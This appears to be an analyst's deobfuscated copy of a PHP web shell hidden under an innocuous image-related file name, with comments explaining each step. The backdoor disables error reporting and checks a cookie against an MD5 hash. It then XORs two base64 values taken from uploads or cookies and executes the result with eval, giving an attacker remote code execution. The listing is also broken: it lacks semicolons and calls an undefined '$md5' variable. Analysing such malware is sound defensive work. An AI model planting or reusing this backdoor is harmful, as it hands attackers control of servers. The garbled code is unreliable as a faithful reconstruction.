images-rough-completion.php

<?php


// We know from the code above that $krqf is equal to ini_set 
// and $dghpp is equal to "error_reporting" and $qkkgc is set 
// to 0 directly above so we know that that this line is:
//
ini_set('error_reporting', 0);


// Another function call. Again we know that $dghpp is 
// equal to 'error_reporting' and we also know $qkkgc is 
// equal to 0. So this  line evalutes to:
//
// error_reporting(0);

error_reporting(0);


$create_function = 'create_function';


$hash = @$_COOKIE['zqcvp'];

// This value looks very similar to a hash value
// 371b35831254c61f61fc291ad7012044
$storedHash = "371b35831254c61f61fc291ad7012044"


if ($storedHash == $md5($hash)) {
    
   
    $code = '$ojmvvy = (!empty($_FILES["wzkht"])) ? file_get_contents($_FILES["wzkht"]["tmp_name"]) : $_COOKIE["wzkht"]; 
    $duy= (!empty($_FILES["dkxmw"])) ? file_get_contents($_FILES["dkxmw"]["tmp_name"]) : $_COOKIE["dkxmw"]; 
     $rixgwg = base64_decode($ojmvvy)^base64_decode($duy); 
    @eval($rixgwg);'
    

    $function = $create_function(null, $code);
    
    $function();
}


?>